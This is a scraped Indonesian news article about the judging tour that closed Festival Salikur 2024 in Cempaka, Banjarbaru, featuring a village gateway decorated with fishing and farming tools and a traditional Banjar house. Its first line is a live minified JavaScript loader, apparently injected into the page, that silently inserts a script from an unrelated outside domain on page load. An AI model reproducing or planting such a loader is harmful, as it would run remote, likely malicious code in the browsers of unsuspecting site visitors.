(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Penyusuran dewan juri ke kampung-kampung di Kecamatan Cempaka Kota Banjarbaru menutup jalannya pelaksanaan Festival Salikur 2024, Rabu (3/4/2024) malam.
Ada enam kampung maupun lingkungan tempat tinggal di Kecamatan Cempaka dilakukan penilaian oleh dewan juri di hari ketiga Festival Salikur 2024 ini.
Semarak Festival Salikur 2024 terlihat jelas dari hasil gotong royong warga menghias sudut kampung-kampung menjadi berwarna dan terang benderang.
Baca juga: Ramp Check hingga Cek Kesehatan Driver Armada Mudik Gratis 2024
Seperti yang terlihat di lingkungan RT 13 RW 01 Kelurahan Bangkal Kecamatan Cempaka, yang menghias kampung mereka dengan nuansa tradisional khas setempat.
Asliansyah, Ketua LPM Kelurahan Bangkal mengungkapkan, untuk penilaian Festival Salikur kali ini mereka membuat konsep gapura dan rumah adat Banjar.
“Kami ingin memperkenalkan keadaan masyarakat kami seperti dari segi usaha maupun pekerjaannya,” ujar Asliansyah saat diwawancarai, Rabu (3/4/2024) malam.
Baca juga: Pastikan Sistem Kelistrikan Kalselteng Andal, Tim Dispatcher PLN Gelar Simulasi
“Contohnya di depan tadi ada gapura yang dihias dengan alat memancing ikan hingga alat untuk bertani,” sambung dia.
Menurutnya, 90 persen masyarakat di lingkungan tempat tinggalnya mayoritas bekerja sebagai petani, sedangkan 10 persen ada yang berdagang maupun pegawai.
Oleh sebab itu warga bergotong royong menghias gapura dengan menampilkan alat-alat tradisonal seperti tempirai dan lukah yang digunakan untuk menangkap ikan.
“Dengan konsep itu kita tunjukkan bahwa mayoritas masyarakat kami usahanya bertani dan mencari ikan,” sebutnya.
Baca juga: Hibah Dana Pemkab HSU ke Masjid, Langgar, dan TPA di Kecamatan Haur Gading
Sementara itu, jika kita menyusuri lingkungan RT 13 ditampilkan sebuah rumah adat adat Banjar yang dibuat dengan bahan yang berasal dari alam dan barang bekas.
“Rumah ini kami buat untuk kembali diperkenalkan kepada generasi muda bahwa beginilah dulunya rumah adat Banjar yang kita tinggali,” ungkapnya.
Persiapan untuk membuat kampung bernuansa tradisional itu disebutkan Asliansyah dilakukan selama 10 hari. Seluruh masyarakat di lingkungan RT 13 diajak bersama-sama memeriahkan festival ini.
Baca juga: Hifdzi Membawa Kabar Baik Untuk Sule dan Mimin
“Kita melibatkan masyarakat forum gabungan seperti RTRW, LPM, Karang Taruna, tokoh agama, tokoh masyarakat, tokoh pemuda bersatu di situ kita membuat konsep ini,” tuntas dia. (Kanalkalimantan.com/wanda)
Reporter :wanda
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Rumah Sakit Daerah (RSD) Idaman Banjarbaru berhasil meraih peringkat satu penghargaan Eco… Read More
KANALKALIMANTAN.COM, PARINGIN - Memastikan pemasangan dan kondisi lampu Penerangan Jalan Umum (PJU) berjalan dengan baik,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Wali Kota dan Wakil Wali Kota Banjarbaru menyatukan suara bersama masyarakat Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bentuk apresiasi menjaga kelestarian lingkungan, kebersihan, dan pengelolaan sampah yang baik, Pemerintah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Wakil Bupati Banjar Habib Idrus Al Habsyi saat membuka Sosialisasi Core Values… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar melakukan Peluncuran Calendar of Event 2025 yang mencakup berbagai… Read More
This website uses cookies.